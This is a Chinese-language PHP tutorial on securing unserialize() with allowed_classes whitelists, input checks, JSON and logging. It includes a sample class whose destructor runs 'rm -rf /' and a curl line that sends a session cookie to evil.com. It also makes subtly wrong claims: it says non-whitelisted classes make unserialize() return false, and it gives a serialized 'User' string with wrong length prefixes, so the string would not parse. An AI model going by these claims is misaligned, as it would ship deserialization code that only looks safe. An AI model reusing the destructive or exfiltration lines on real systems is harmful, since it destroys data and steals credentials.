PHP 过滤 unserialize()(快速上手)

PHP 过滤 unserialize() 的安全实践:从入门到实战

在 PHP 开发中,unserialize() 是一个常用函数,用于将序列化的数据还原为原始的 PHP 值。比如,当你通过 serialize() 把一个数组或对象存入数据库或缓存时,后续就需要用 unserialize() 来还原它。听起来很简单,对吧?但问题就出在“简单”背后——如果处理不当,unserialize() 就可能成为攻击者入侵系统的入口。

想象一下:你有一个用户提交的表单数据,经过 serialize() 后存进 session。如果攻击者伪造了一个恶意的序列化字符串,直接传给 unserialize(),系统可能会自动调用对象的 __destruct()__wakeup() 方法,从而执行任意代码。这听起来像科幻电影,但现实中确实发生过。

因此,PHP 过滤 unserialize() 不仅是技术细节,更是安全防线的第一道闸门。今天我们就来深入聊聊如何安全地使用 unserialize(),避免踩坑。


什么是 unserialize()?它为何危险?

unserialize() 的作用是把一个字符串还原成 PHP 中的变量。比如:

<?php
$data = serialize(['name' => '张三', 'age' => 25]);
echo $data;
// 输出:a:2:{s:4:"name";s:6:"张三";s:3:"age";i:25;}

接着,我们用 unserialize() 把它还原回来:

<?php
$serialized = 'a:2:{s:4:"name";s:6:"张三";s:3:"age";i:25;}';
$original = unserialize($serialized);
var_dump($original);
// 输出:array(2) { ["name"]=> string(6) "张三" ["age"]=> int(25) }

看起来没问题。但问题在于,unserialize() 可以还原任意类型的数据,包括对象。而对象在反序列化时,会自动触发魔法方法,比如 __wakeup()__destruct()

如果攻击者构造一个恶意对象,比如:

<?php
class Malicious {
    public function __destruct() {
        system('rm -rf /'); // 危险操作!
    }
}
$malicious = 'O:8:"Malicious":0:{}';
unserialize($malicious);

虽然这个例子在本地不会执行删除系统文件的操作(因为环境限制),但攻击者可以换成 system('whoami')curl http://evil.com/steal.php?data=' . $_COOKIE['session'],从而窃取信息或控制服务器。

所以,未经过滤的 unserialize() 就像一把没有锁的钥匙,谁都能打开门


如何安全地过滤 unserialize()?

使用白名单机制限制可反序列化的类

最有效的方法是:只允许你定义的类被反序列化。PHP 提供了 unserialize() 的第二个参数 allowed_classes,它允许你指定允许反序列化的类名。

<?php
class User {
    public $name;
    public $email;

    public function __construct($name, $email) {
        $this->name = $name;
        $this->email = $email;
    }

    public function __toString() {
        return "用户: {$this->name}, 邮箱: {$this->email}";
    }
}

// 定义白名单
$allowed_classes = ['User'];

// 安全反序列化
$serialized = 'O:4:"User":2:{s:4:"name";s:4:"李四";s:5:"email";s:13:"li@abc.com";}';

$data = unserialize($serialized, ['allowed_classes' => $allowed_classes]);

if ($data === false) {
    echo "反序列化失败,可能包含非法类";
} else {
    echo $data; // 输出:用户: 李四, 邮箱: li@abc.com
}

💡 关键点allowed_classes 参数必须传入数组,且只允许列表中的类被反序列化。如果序列化字符串中包含 Malicious 类,unserialize() 会直接返回 false,不会执行任何魔法方法。

这个方法就是“PHP 过滤 unserialize()”的核心手段之一。它通过限制类的范围,从源头上杜绝恶意对象的加载。


检查序列化数据来源,避免用户输入直接参与

另一个关键原则是:不要让用户输入直接参与 unserialize()。比如,不要直接从 $_GET$_POST$_COOKIE 中读取数据并反序列化。

<?php
// ❌ 危险做法:直接从用户输入反序列化
$raw_input = $_GET['data'] ?? '';
$data = unserialize($raw_input); // 如果用户传入恶意字符串,会出事!

✅ 正确做法:先验证数据格式,再反序列化。

<?php
// ✅ 安全做法:先校验,再反序列化
$raw_input = $_GET['data'] ?? '';

// 1. 检查是否为合法的序列化字符串(可选:用正则过滤)
if (!preg_match('/^a:\d+:\{.*\}$|O:\d+:".*":\d+:\{.*\}$|s:\d+:".*";|i:\d+;|d:\d+\.\d+;/', $raw_input)) {
    die("非法数据格式");
}

// 2. 使用白名单过滤
$allowed_classes = ['User', 'Profile'];
$data = unserialize($raw_input, ['allowed_classes' => $allowed_classes]);

if ($data === false) {
    die("反序列化失败,可能包含非法类");
}

echo "数据已安全还原:";
var_dump($data);

📌 小贴士:正则表达式可以粗略过滤常见序列化格式,但不能完全替代白名单机制。它只是“第一道关卡”,真正起作用的还是 allowed_classes


使用 JSON 替代序列化,降低风险

在很多场景下,你其实不需要用 serialize()。比如,只需要传递简单数据结构,如数组、字符串、数字等。

此时,改用 JSON 是更安全的选择

<?php
$data = ['name' => '王五', 'age' => 30, 'active' => true];

// 用 JSON 序列化
$json = json_encode($data);
echo $json;
// 输出:{"name":"王五","age":30,"active":true}

// 反序列化
$decoded = json_decode($json, true); // 第二个参数 true 表示返回数组
var_dump($decoded);
// 输出:array(3) { ["name"]=> string(4) "王五" ["age"]=> int(30) ["active"]=> bool(true) }

✅ 优势:

  • JSON 不支持对象、魔术方法,无法触发 __wakeup()__destruct()
  • 语法清晰,跨语言兼容。
  • 无需担心类名注入问题。

所以,除非你确实需要对象状态的持久化,否则优先选择 JSON。


记录日志并监控异常行为

即使你用了白名单和数据校验,也不能保证万无一失。建议在反序列化失败时记录日志,便于后续排查。

<?php
$raw = $_POST['payload'] ?? '';

$allowed_classes = ['User', 'Order'];

$data = unserialize($raw, ['allowed_classes' => $allowed_classes]);

if ($data === false) {
    // 记录日志
    error_log("反序列化失败,输入: " . $raw);
    error_log("可能的攻击尝试,来源 IP: " . $_SERVER['REMOTE_ADDR']);
    die("数据无效");
}

// 继续处理安全数据
echo "处理成功";

🛡️ 进阶建议:结合日志分析工具(如 ELK、Sentry),监控频繁的 unserialize() 失败请求,有助于发现潜在攻击行为。


常见反序列化漏洞示例对比

情况 是否安全 说明
unserialize($user_input) ❌ 不安全 无任何过滤,攻击者可注入任意类
unserialize($user_input, ['allowed_classes' => ['User']]) ✅ 安全 白名单机制有效
json_decode($user_input, true) ✅ 安全 JSON 不支持对象,无魔法方法
unserialize($user_input) + 正则校验 ⚠️ 半安全 正则只能做初步过滤,仍需白名单

📌 结论:白名单 + 数据来源验证是“PHP 过滤 unserialize()”的黄金组合。


总结:安全不是“有没有”,而是“怎么做”

unserialize() 本身没有错,错的是使用方式。它像一把瑞士军刀——功能强大,但用不好会伤到自己。

通过今天的学习,你应该掌握了:

  • 为什么 unserialize() 存在安全风险(魔法方法自动触发)
  • 如何用 allowed_classes 实现类级过滤
  • 为什么应避免用户输入直接参与反序列化
  • 何时该用 JSON 代替 serialize()
  • 如何通过日志监控异常行为

记住,真正的安全不是“我有没有用过”,而是“我怎么用”。当你每次调用 unserialize() 时,先问一句:这个数据来源可信吗?我是否做了过滤?

只要养成这样的习惯,就能把“PHP 过滤 unserialize()”变成你开发流程中的自然一部分,而不是临时补丁。

别让一个函数,毁掉整个系统。从现在开始,安全地使用 unserialize()